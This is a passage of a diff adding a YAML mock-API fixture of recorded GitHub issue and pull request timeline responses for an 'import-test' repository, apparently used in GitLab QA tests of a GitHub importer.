+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ },
+ "commit_id": null,
+ "commit_url": null,
+ "created_at": "2022-03-07T07:54:52Z",
+ "event": "milestoned",
+ "id": 6192721279,
+ "milestone": {
+ "title": "0.0.1"
+ },
+ "node_id": "MIE_lADOG9XHMM5FM-ETzwAAAAFxHW1_",
+ "performed_via_github_app": null,
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/events/6192721279"
+ },
+ {
+ "actor": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ },
+ "commit_id": null,
+ "commit_url": null,
+ "created_at": "2022-03-07T08:07:17Z",
+ "event": "labeled",
+ "id": 6192790994,
+ "label": {
+ "color": "7057ff",
+ "name": "good first issue"
+ },
+ "node_id": "LE_lADOG9XHMM5FM-ETzwAAAAFxHn3S",
+ "performed_via_github_app": null,
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/events/6192790994"
+ },
+ {
+ "actor": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ },
+ "commit_id": null,
+ "commit_url": null,
+ "created_at": "2022-03-07T08:07:17Z",
+ "event": "labeled",
+ "id": 6192790996,
+ "label": {
+ "color": "008672",
+ "name": "help wanted"
+ },
+ "node_id": "LE_lADOG9XHMM5FM-ETzwAAAAFxHn3U",
+ "performed_via_github_app": null,
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/events/6192790996"
+ },
+ {
+ "actor": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ },
+ "author_association": "OWNER",
+ "body": "Some test comment",
+ "created_at": "2022-03-07T08:07:40Z",
+ "event": "commented",
+ "html_url": "https://github.com/gitlab-qa-github/import-test/issues/1#issuecomment-1060295687",
+ "id": 1060295687,
+ "issue_url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/1",
+ "node_id": "IC_kwDOG9XHMM4_MtQH",
+ "performed_via_github_app": null,
+ "reactions": {
+ "+1": 0,
+ "-1": 0,
+ "confused": 0,
+ "eyes": 0,
+ "heart": 0,
+ "hooray": 0,
+ "laugh": 0,
+ "rocket": 0,
+ "total_count": 0,
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/comments/1060295687/reactions"
+ },
+ "updated_at": "2022-03-07T08:07:47Z",
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/comments/1060295687",
+ "user": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ }
+ },
+ {
+ "actor": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ },
+ "author_association": "OWNER",
+ "body": "Another test comment",
+ "created_at": "2022-03-07T08:27:03Z",
+ "event": "commented",
+ "html_url": "https://github.com/gitlab-qa-github/import-test/issues/1#issuecomment-1060321905",
+ "id": 1060321905,
+ "issue_url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/1",
+ "node_id": "IC_kwDOG9XHMM4_Mzpx",
+ "performed_via_github_app": null,
+ "reactions": {
+ "+1": 0,
+ "-1": 0,
+ "confused": 0,
+ "eyes": 0,
+ "heart": 0,
+ "hooray": 0,
+ "laugh": 0,
+ "rocket": 0,
+ "total_count": 0,
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/comments/1060321905/reactions"
+ },
+ "updated_at": "2022-03-07T08:27:03Z",
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/comments/1060321905",
+ "user": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ }
+ },
+ {
+ "actor": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ },
+ "commit_id": null,
+ "commit_url": null,
+ "created_at": "2022-07-07T10:01:27Z",
+ "event": "closed",
+ "id": 6950161456,
+ "node_id": "CE_lADOG9XHMM5FM-ETzwAAAAGeQwww",
+ "performed_via_github_app": null,
+ "state_reason": "not_planned",
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/events/6950161456"
+ },
+ {
+ "actor": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ },
+ "commit_id": null,
+ "commit_url": null,
+ "created_at": "2022-07-07T10:01:32Z",
+ "event": "reopened",
+ "id": 6950162104,
+ "node_id": "REE_lADOG9XHMM5FM-ETzwAAAAGeQw64",
+ "performed_via_github_app": null,
+ "state_reason": "reopened",
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/events/6950162104"
+ }
+ ]
+
+- request:
+ path: /repos/gitlab-qa-github/import-test/issues/2/timeline
+ method: GET
+ query_params:
+ per_page: '100'
+ sort: created
+ state: all
+ headers:
+ Host: api.github.com
+ response:
+ status: 200
+ headers:
+ Content-Type: application/json; charset=utf-8
+ X-Ratelimit-Limit: '5000'
+ X-Ratelimit-Remaining: '5000'
+ body: |
+ [
+ {
+ "author": {
+ "date": "2022-03-07T07:57:19Z",
+ "email": "59606922+gitlab-qa-github@users.noreply.github.com",
+ "name": "gitlab-qa-github"
+ },
+ "committer": {
+ "date": "2022-03-07T07:57:19Z",
+ "email": "noreply@github.com",
+ "name": "GitHub"
+ },
+ "event": "committed",
+ "html_url": "https://github.com/gitlab-qa-github/import-test/commit/05938cc9b0773f49bf800ceabcaa01b389a5d943",
+ "message": "Improve README",
+ "node_id": "C_kwDOG9XHMNoAKDA1OTM4Y2M5YjA3NzNmNDliZjgwMGNlYWJjYWEwMWIzODlhNWQ5NDM",
+ "parents": [
+ {
+ "html_url": "https://github.com/gitlab-qa-github/import-test/commit/61ae9e670fdcd0a35e37a7faf7489969564accc1",
+ "sha": "61ae9e670fdcd0a35e37a7faf7489969564accc1",
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/git/commits/61ae9e670fdcd0a35e37a7faf7489969564accc1"
+ }
+ ],
+ "sha": "05938cc9b0773f49bf800ceabcaa01b389a5d943",
+ "tree": {
+ "sha": "5eba7be6baa4c1e14b89c377d25dba1d6f8fc3fc",
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/git/trees/5eba7be6baa4c1e14b89c377d25dba1d6f8fc3fc"
+ },
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/git/commits/05938cc9b0773f49bf800ceabcaa01b389a5d943",
+ "verification": {
+ "payload": "tree 5eba7be6baa4c1e14b89c377d25dba1d6f8fc3fc\nparent 61ae9e670fdcd0a35e37a7faf7489969564accc1\nauthor gitlab-qa-github <59606922+gitlab-qa-github@users.noreply.github.com> 1646639839 +0100\ncommitter GitHub <noreply@github.com> 1646639839 +0100\n\nImprove README",
+ "reason": "valid",
+ "signature": "-----BEGIN PGP SIGNATURE-----\n\nwsBcBAABCAAQBQJiJbrfCRBK7hj4Ov3rIwAAxZ4IAD3lRpLwlbBH/0nBd9cwXwLT\nd3mVtAz5irpSaeXZtaXSn46IpmA+JeBbwglEOp/GDQWs+6aYauiwFBmW2bPwJ1B8\nBxl+5ypTWd7azTuLsXHOjE+3j+DpfVgvkEYcwiwQ02suZ/Jt1FxyLdKZ95/DvP+w\nmZWWL8FhXPxaV1Z2b0tozmx2KpNkKFfplgq54BBIWn3S2fQ/qsr0ypyJUaFOQdbY\nx0m5adwXJ1oN9RGIskQ3402PfW3g6y/4d7fSugMcAVpJOyLu6VRJuXLcfzBLlZj8\n55wDqeDy1WN7tyPDxC7Ds6UHw7GbgPArFieSLiO9UXNO/jPY7S1Xr98kFhynsHI=\n=kU7W\n-----END PGP SIGNATURE-----\n",
+ "verified": true
+ }
+ },
+ {
+ "actor": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ },
+ "commit_id": null,
+ "commit_url": null,
+ "created_at": "2022-03-07T07:58:10Z",
+ "event": "labeled",
+ "id": 6192737366,
+ "label": {
+ "color": "0075ca",
+ "name": "documentation"
+ },
+ "node_id": "LE_lADOG9XHMM5FM-rxzwAAAAFxHaxW",
+ "performed_via_github_app": null,
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/events/6192737366"
+ },
+ {
+ "actor": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ },
+ "commit_id": null,
+ "commit_url": null,
+ "created_at": "2022-03-07T07:58:10Z",
+ "event": "milestoned",
+ "id": 6192737375,
+ "milestone": {
+ "title": "0.0.1"
+ },
+ "node_id": "MIE_lADOG9XHMM5FM-rxzwAAAAFxHaxf",
+ "performed_via_github_app": null,
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/events/6192737375"
+ },
+ {
+ "_links": {
+ "html": {
+ "href": "https://github.com/gitlab-qa-github/import-test/pull/2#pullrequestreview-901341181"
+ },
+ "pull_request": {
+ "href": "https://api.github.com/repos/gitlab-qa-github/import-test/pulls/2"
+ }
+ },
+ "author_association": "OWNER",
+ "body": "Good but needs some improvement",
+ "commit_id": "05938cc9b0773f49bf800ceabcaa01b389a5d943",
+ "event": "reviewed",
+ "html_url": "https://github.com/gitlab-qa-github/import-test/pull/2#pullrequestreview-901341181",
+ "id": 901341181,
+ "node_id": "PRR_kwDOG9XHMM41uV_9",
+ "pull_request_url": "https://api.github.com/repos/gitlab-qa-github/import-test/pulls/2",
+ "state": "commented",
+ "submitted_at": "2022-03-07T08:01:18Z",
+ "user": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ }
+ },
+ {
+ "actor": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ },
+ "author_association": "OWNER",
+ "body": "Some test PR comment",
+ "created_at": "2022-03-07T08:27:17Z",
+ "event": "commented",
+ "html_url": "https://github.com/gitlab-qa-github/import-test/pull/2#issuecomment-1060322120",
+ "id": 1060322120,
+ "issue_url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/2",
+ "node_id": "IC_kwDOG9XHMM4_MztI",
+ "performed_via_github_app": null,
+ "reactions": {
+ "+1": 0,
+ "-1": 0,
+ "confused": 0,
+ "eyes": 0,
+ "heart": 0,
+ "hooray": 0,
+ "laugh": 0,
+ "rocket": 0,
+ "total_count": 0,
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/comments/1060322120/reactions"
+ },
+ "updated_at": "2022-03-07T08:27:17Z",
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/comments/1060322120",
+ "user": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ }
+ },
+ {
+ "actor": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ },
+ "assignee": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ },
+ "commit_id": null,
+ "commit_url": null,
+ "created_at": "2022-12-27T06:17:51Z",
+ "event": "assigned",
+ "id": 8113792800,
+ "node_id": "AE_lADOG9XHMM5FM-rxzwAAAAHjnqcg",
+ "performed_via_github_app": null,
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/events/8113792800"
+ },
+ {
+ "actor": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ },
+ "commit_id": null,
+ "commit_url": null,
+ "created_at": "2022-12-27T06:25:33Z",
+ "event": "review_requested",
+ "id": 8113816458,
+ "node_id": "RRE_lADOG9XHMM5FM-rxzwAAAAHjnwOK",
+ "performed_via_github_app": null,
+ "requested_reviewer": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/40021320?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa",
+ "id": 40021320,
+ "login": "gitlab-qa",
+ "node_id": "MDQ6VXNlcjQwMDIxMzIw",
+ "organizations_url": "https://api.github.com/users/gitlab-qa/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa"
+ },
+ "review_requester": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ },
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/events/8113816458"
+ },
+ {
+ "_links": {
+ "html": {
+ "href": "https://github.com/gitlab-qa-github/import-test/pull/2#pullrequestreview-1230532237"
+ },
+ "pull_request": {
+ "href": "https://api.github.com/repos/gitlab-qa-github/import-test/pulls/2"
+ }
+ },
+ "author_association": "COLLABORATOR",
+ "body": "",
+ "commit_id": "05938cc9b0773f49bf800ceabcaa01b389a5d943",
+ "event": "reviewed",
+ "html_url": "https://github.com/gitlab-qa-github/import-test/pull/2#pullrequestreview-1230532237",
+ "id": 1230532237,
+ "node_id": "PRR_kwDOG9XHMM5JWG6N",
+ "pull_request_url": "https://api.github.com/repos/gitlab-qa-github/import-test/pulls/2",
+ "state": "approved",
+ "submitted_at": "2022-12-27T09:57:21Z",
+ "user": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/40021320?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa/gists{/gist_id}",
